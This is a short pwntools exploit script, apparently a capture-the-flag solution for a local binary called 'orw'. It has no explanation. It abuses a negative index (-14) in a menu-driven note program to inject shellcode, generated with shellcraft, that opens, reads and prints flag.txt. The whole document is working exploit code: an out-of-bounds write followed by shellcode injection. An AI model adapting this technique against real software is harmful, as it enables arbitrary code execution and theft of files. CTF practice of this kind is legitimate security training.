from pwn import *
context(arch='amd64',os='linux',log_level='debug')

p = process('./orw')

def add(index,size,content):
    p.sendlineafter('choice >>','1')
    p.sendlineafter('index:',str(index))
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)

def delete(index):
    p.sendlineafter('choice >>','4')
    p.sendlineafter('index:',str(index))

#gdb.attach(p)
#pause()
#39
#e29

payload1 = asm(shellcraft.open("flag.txt"))
payload2 = asm(shellcraft.read(3,"rsp",0x10))
payload3 = asm(shellcraft.write(1,"rsp",0x10))
#payload3 = asm(shellcraft.exit())

add(-14,0,payload1+payload2+payload3+b'\n')

p.sendlineafter('choice >>','1')

p.interactive()